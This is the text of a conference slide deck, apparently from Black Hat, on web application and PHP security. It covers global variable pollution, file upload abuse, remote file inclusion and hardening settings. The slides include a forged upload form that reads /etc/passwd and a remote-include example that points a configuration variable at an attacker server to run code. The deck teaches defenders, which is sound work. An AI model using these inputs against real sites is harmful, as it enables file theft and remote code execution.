Breaking In Through The

Front Door

The Impact of Web Applications and

Application Service Provision on
Traditional Security Models

Shaun Clowes – shaun@securereality.com.au

Overview
♦ A Brief History of Computing
♦ Web Application environments
♦ Dangers of Web Applications
♦ Exploiting PHP Applications
♦ Testing Web Applications
♦ Protecting Web Applications
♦ Questions?
A Brief History Of Computing
♦ How has the security problem space
evolved over time?
♦ What new problems are we facing?
♦ Are we eliminating old problems?
Ancient History
♦ Ancient History – 1940’s and 50’s
♦ Eniac, Univac etc.
♦ Not exactly many security issues
Commercial Computing
♦ Early 1960’s
♦ Transistors and later Integrated Circuits
♦ IBM’s 701 and later 360
♦ Batch processing
♦ Still not exactly difficult to secure
Multi User Systems
♦ Late 1960’s
♦ IBM’s 360/67, CP/CMS and later VM/CMS
♦ Terminals
♦ Security begins to become an issue
♦ Students stealing CPU time
Centralized Computing
♦ 1970
♦ PDP Machines
♦ The birth of Unix
♦ Word processing, true multi user operating
systems
♦ Attacks against local applications and social
engineering
Client / Server
♦ Late 1970’s and early 1980’s
♦ Microcomputers interfacing with
Minicomputers and Mainframes
♦ Advent of ‘Network Services’
♦ Security becomes a larger problem space
♦ Attacks against open services
♦ The advent of anonymity
The Internet
♦ Circa Late 1987 to now
♦ Unix supports TCP/IP, commercial
connections
♦ Security explodes, threat rises dramatically
♦ Complete anonymity
♦ Service attacks become widespread
♦ The Morris Worm - 1988
The Defence
♦ Internet not friendly
♦ Attacks:
– Local Applications
– Social Engineering
– Externally Accessible Services
♦ Developed defence technologies
Firewalls
♦ Packet Filters
– IP routers with filters
♦ Application Layer
– Marcus Ranum – DEC SEAL
♦ Stateful Inspection
– Gil Shwed – Firewall 1 - Checkpoint
♦ Limiting exposure of services
Intrusion Detection Systems
♦ Network Based
– Network Flight Recorder, Snort etc
– Detect
♦ Host Based
– LIDS etc
– Detect, Prevent
♦ Limit anonymity,
♦ Limit timeframe for attacks
Defence Weaknesses
♦ Local attacks still very common where
command execution is possible
♦ Administrators actively patch multi user
machines
♦ Access to other machines (e.g Web Servers)
limited to trusted users
Where Are We Headed?
Centralized Computing

Client/Server Computing

???
Where Are We Headed?
Centralized Computing

Client/Server Computing

Web/Thin Client/ASP
Computing
Architecture
Architecture Benefits
♦ No client side software (web browser)
– No versioning issues
– No platform compatibility issues
♦ 3rd tier servers behind firewall, not directly
accessible
♦ Web Applications run on trusted machine
– Can they trust their environment?
Architecture Drawbacks
♦ Processing load on web server
♦ Can be complex to develop in traditional
languages
Architecture Risks
♦ Web Applications must be secure
– Can access 3rd tier servers with privileges
– Subverted Web Applications not controlled
(typically) by Firewall
– IDS unlikely to see attacks against Web
Applications
♦ Web Applications do not fit into security
model for Centralized or Client/Server
computing
The Result
♦ Despite risks/drawbacks, Web Applications
being deployed in increasing numbers
♦ So what sort of attacks are we exposing
ourselves to?
Attack Scenarios - 1
1. Attack SQL queries including client input
2. Gain elevated privileges to
1. Application – See Attack Scenario 2
2. Database server
3. Use access on Database server to further
elevate privileges
– On DB Server via local exploits
– On other hosts by trust relationships and
service attacks
Attack Scenarios 1 cont.
♦ SQL attacks well covered elsewhere, not
focus here
♦ For more information:
– Search BugTraq
– David Litchfield – “Remote Web Application
Dissassembly with ODBC Error Messages”
Attack Scenarios 2
1. Attack vulnerabilities in Web Application
code or environment
2. Results in:
1. Elevated Privileges in Application
♦ Exploit Application further
1. Local Code Execution
♦ Exploit local vulnerabilities (little patching)
♦ Exploit trust relationships with 3rd tier
1. End Result:
– Major privileges on network
Other Attack Scenario’s
♦ Other Attacks possible against underlying
Architecture (e.g Web Server)
♦ Well covered in JD Glaser’s presentation
Driving the Change
♦ Web Applications previously developed in:
– Perl
–C
♦ Not designed for the Web
♦ Web Languages developed:
– PHP
– ASP (VBScript)
– ColdFusion
Web Languages
♦ 4th Generation Languages
♦ Tags embedded in HTML pages
♦ Very feature rich
♦ Designed to be simple
– Coding falls to Web Designers
Web Languages - Issues
♦ Languages make it hard to write secure
applications (especially PHP)
♦ One function can behave in many ways (for
ease of use)
♦ Loosely typed, no variable declaration
♦ Blur border between user input and
application variables
♦ Software written by non coders, don’t
understand issues
Focus on PHP
♦ PHP = “PHP Hypertext Preprocessor”
♦ Installed on 37% of Apache servers (E-Soft
Web Survey)
♦ Lots of applications being written for it
♦ Discuss
– Common mistakes with PHP
– How PHP makes secure code difficult
PHP – Global Input Variables
♦ Form variables end up as global variables in
script
♦ For Example:
<FORM ACTION="<name>.php" METHOD="post">
<INPUT TYPE="text" NAME="hello">
<INPUT TYPE="submit">
</FORM>
♦ When submitted, the variable $hello in PHP
contains the value specified in the form
PHP – Global Input Variables
♦ Attacker can pollute the global namespace
♦ For Example:
– A script sets the variable $auth to true if its
authenticated the remote user
– The attacker provides auth as true through form
input
♦ Script cannot trust any variable it hasn’t
explicitly set
PHP – File Upload
♦ SecureReality Advisory 1 (SRADV00001)
♦ Automatically handles RFC 1867
♦ For Example:
<FORM ENCTYPE=“multipart/form-data”
ACTION="<name>.php" METHOD="post">
<INPUT TYPE="hidden" name="MAX_FILE_SIZE"
value="1000">
<INPUT TYPE=“file" NAME="hello">
<INPUT TYPE="submit">
</FORM>
♦ If file is less than max_file_size its saved
locally (usually in /tmp)
PHP – File Upload
♦ The script is given variables
– $hello = Location of file on local system
– $hello_name = Remote filename
– $hello_size = Byte size of file
– $hello_type = MIME Type of file
PHP – File Upload
♦ An attacker can set max_file_size to an
arbitrary value
♦ Gain?
♦ Limited by PHP configuration directive
upload_max_filesize
♦ Just submit multiple files
♦ Still limited by maximum execution time
PHP – File Upload
♦ An attacker can get the application to work on a file
local to the machine
♦ Use a form like:
<FORM ACTION="<name>.php" METHOD="post">
<INPUT TYPE=“hidden" NAME="hello“ VALUE=“/etc/passwd”>
<INPUT TYPE=“hidden” NAME=“hello_size” VALUE=“100”>
<INPUT TYPE=“hidden” NAME=“hello_type” VALUE=“text/plain”>
<INPUT TYPE=“hidden” NAME=“hello_name” VALUE=“hello”>
<INPUT TYPE="submit">
</FORM>
♦ We’ve used our ability to affect global variables to
create the variables expected by the script
PHP – File Upload
♦ This will often lead to exposure of sensitive
file contents
♦ Hard to detect this attack in all but the most
recent versions of PHP
♦ Latest versions make this easy to detect
♦ Latest documentation makes the problem
clear
♦ Problem still common
PHP – Remote Files
♦ Typical file operations support Remote
Files functionality
♦ The following code opens a file:
<?php
If (!($file = fopen(“$hello”, “r”))
echo(“Could not open file!”);
?>
♦ If $hello beings with http:// or ftp:// PHP
will go to network
PHP – Remote Files
♦ How does an attacker use it?
♦ Remote Files works for most file operations
in PHP
♦ Include() and require() read a file and
interpret it as though it were PHP code
♦ Typically used to support “library” concept
PHP – Remote Files
♦ For example:
<?php
…
include(“$langdir/phrases.php”);
?>
♦ $langdir is a configuration variable
specifying the directory for scripts for a
certain language
PHP – Remote Files
♦ The attacker can set $confdir with form
input
♦ If she can prevent the script overwriting it
she can submit:
http://<myevilserver>
♦ If the attacker creates a file on their
webserver called languages.php
♦ Code execution
PHP - Parsing
♦ Certain file types are configured in the web
server to be parsed as PHP
♦ Other types could well be returned as plain
text
♦ PHP Library files are typically named
<library>.php, so they cannot have source
retrieved
PHP – Parsing
♦ Thus remote user can remotely request a
library file and have it parsed
♦ Loss of dependencies
♦ Code can no longer rely on an environment
Real Life Vulnerabilities
♦ Following are several in depth examples of
security compromises through popular open
source PHP Web Applications.
♦ Attacks are via Web Browser
– No special software
– Breaking in through the front door
♦ Attacks are normal HTTP requests
Vulnerabilities
♦ At time of writing vendors have not been
notified of the vulnerabilities to be
discussed. They have thus been omitted
from this version of the presentation.
♦ After the presentation the full slides will be
available at
http://www.securereality.com.au and
http://www.blackhat.com
Vulnerabilities - Conclusion
♦ Exploiting PHP often like catching fish
from a barrel
♦ Code running on trusted host, in trusted
network but still cannot trust its
environment
Finding the Holes
♦ File upload issues
– Change file upload fields to hidden fields
– Just try
♦ Hidden fields
– Often configuration variables
– Modify them
♦ Normal fields
– Try special characters, ‘/\:;’
Finding the Holes
♦ Getting the source:
– Open source – Full or modified
– IIS Holes
• Unicode exploit
• showcode.asp
• .htr hole
• Translate: f hole
• …. many more
– FTP to web server (anonymous)
Finding the Holes
♦ Getting the source:
– Non parsed backup files:
• .bak, .tmp, .old, .bac, .backup, .orig, .temp, .000,
.~1, .php~, etc.
– File upload PHP exploitation
♦ Spotting holes in source:
– Grep!
– Look for ‘vulnerable’ operations with variable
substitution
Finding the Holes
♦ Vulnerable operations:
– PHP Functions: include(), require(), eval(),
exec(), passthru(), ``, system(), popen(), fopen(),
readfile(), file()
– Variable functions:
$hello = “echo \”hi!\””; $hello();
– Variable dereferencing:
$hello = “confdir”; $$hello = “http://myhost”; echo “$confdir”;
Securing PHP
♦ Later versions of PHP are very configurable
♦ Drastic Measures:
– Set open_basedir
• Prevents any file open operations on files outside
specified directories
– register_globals off
• Protects environment from user pollution
• The ultimate protection
• Breaks 99.99% of existing scripts
Securing PHP
♦ Drastic Measures cont:
– safe_mode on
• Heaps of restrictions
• Restrict which commands can be executed
• Disable functions, e.g exec(), system()
• Restricts file access based on ownership
• Kills file upload
• Designed for use in ISP environments
Securing PHP
♦ Slightly less painful measures:
– display_errors off, log_errors on
• Prevent error messages giving clues as to how code
works
• Makes debugging hard
♦ Mostly painless measures:
– allow_url_fopen off
• Stops remote files functionality
• No more remote includes
Securing PHP – Future?
♦ Capabilities
– Defined once, enforced throughout script
♦ Taint Mode
– Tainted variables cannot be used in
• Include/Require Statements
• File Open Operations
• SQL Queries (maybe automatically filtered)
Securing Web Applications
♦ External Solutions:
– Use suEXEC for CGI under Apache
– SubDomain (http://www.immunix.org) under
Linux
Securing Web Applications
♦ Programming Concepts
– Limit calls to external programs
– Pass all user input through metacharacter filter
Securing Web Applications
♦ Architecture
– Adopt client/server architecture in Web
Applications
– Server can rely on environment
– Server can limit trust in client
Web Languages
♦ The basic issue:
– Web languages attempt to make rapid
development as simple as possible by being
feature rich.
– This leads to security problems
• Functions do more than expected to do
• Programmers (Web Designers!) get lazy
– Security is largely a code quality issue
– Coders don’t want to give up ease for security
Thankyou!
♦ Questions?
♦ SecureReality Web Site:
http://www.securereality.com.au
Email:
shaun@securereality.com.au